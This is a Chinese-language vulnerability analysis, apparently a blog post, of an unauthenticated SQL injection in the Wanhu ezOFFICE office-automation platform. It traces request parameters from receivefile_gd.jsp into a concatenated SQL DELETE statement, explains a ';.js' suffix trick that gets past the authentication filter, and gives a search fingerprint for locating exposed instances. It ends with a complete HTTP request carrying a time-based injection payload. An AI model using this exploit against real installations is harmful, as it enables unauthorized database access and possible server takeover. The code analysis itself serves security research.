万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE receivefile gd.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可 获取服务器权限。
首先进入到modules/govoffice/gov_documentmanager/receivefile_gd.jsp下
在105-111行有如下代码
java.util.Map myParaTmp \= new java.util.HashMap();//创建一个HashMap数组
//依次接受请求中的recordId、tableId、processId、workId参数之后放入到数组中
myParaTmp.put("recordId",request.getParameter("recordId"));
myParaTmp.put("tableId",request.getParameter("tableId"));
myParaTmp.put("processId",request.getParameter("processId"));
myParaTmp.put("workId",request.getParameter("workId"));
com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD myUfbdTemp \= new com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD();
myUfbdTemp.delWFOnlineUser(myParaTmp);//调用delWFOnlineUser方法进行数据库相关的删除操作
需要注意的是上述代码是在else语句中,需要满足gb参数为空才可以,代码如下
接着进入到WorkFlowButtonBD
下的delWFOnlineUser方法中
该方法首先创建了一个ParameterGenerator对象pg,之后将参数para传入到pg中,接着就是创建了一个代理类EJBProxy对象用于访问名为WorkFlowButtonEJB
的EJB组件,通过反射方式调用delWFOnlineUser方法
接着进入到com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean
的delWFOnlineUser
中
public void delWFOnlineUser(Map map) throws Exception {
begin();
try {
try {
this.stmt.execute("delete from wf\_onlineuser where recordId=" + map.get("recordId") + " and tableId=" + map.get("tableId") + " and processId=" + map.get(FormContants.WF\_PROCESS\_ID) + " and workId=" + map.get("workId"));
end();
} catch (Exception e) {
System.out.println("----------------------------------------------");
e.printStackTrace();
System.out.println("----------------------------------------------");
throw e;
}
} catch (Throwable th) {
end();
throw th;
}
}
该方法就是获取map参数中recordId
、tableId
、FormContants.WF_PROCESS_ID
、workId
参数组成sql语句,之后直接调用stmt.execute方法执行sql语句,因为全程没有对sql语句进行任何敏感信息的过滤进而造成了sql
要注意的是在web.xml中会对所有的路由进行SetCharacterEncodingFilter
类的过滤处理
进入SetCharacterEncodingFilter
类中开始分析
首先就是rootPath
获取到根目录
substring
获取到整个路由
接着继续走,substring2
获取到路由的后缀,当后缀名为.jspx时就会跳转到/defaultroot/login.jsp
当后缀匹配到如下后缀时会进行不同的重定向操作
(substring2.equals("") || substring2.equals(".jsp") || substring2.equals(".vm")) && this.needSecurity && substring.indexOf("/evo/weixin/") < 0 && substring.indexOf("/portal/") < 0 && substring.indexOf("/upgrade/") < 0 && substring.indexOf("/public/edit/") < 0 && !securityList.getNosessionWhiteList().contains(substring)
接着走,当请求体中有referer时,就会将取值赋值给str2,接下来就是根据z的取值以及后缀进行判断,当后缀名为.jsp;.js来访问时if结果就为false,不会直接return使得程序直接继续向下执行直到最后都没有重定向发操作直接访问到原始路由
因此在访问路由的时候加入;.js
可以很好的绕过过滤
app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/govoffice/gov\_documentmanager/receivefile\_gd.jsp;.js?recordId=1;waitfor+delay+'0:0:6'--+- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!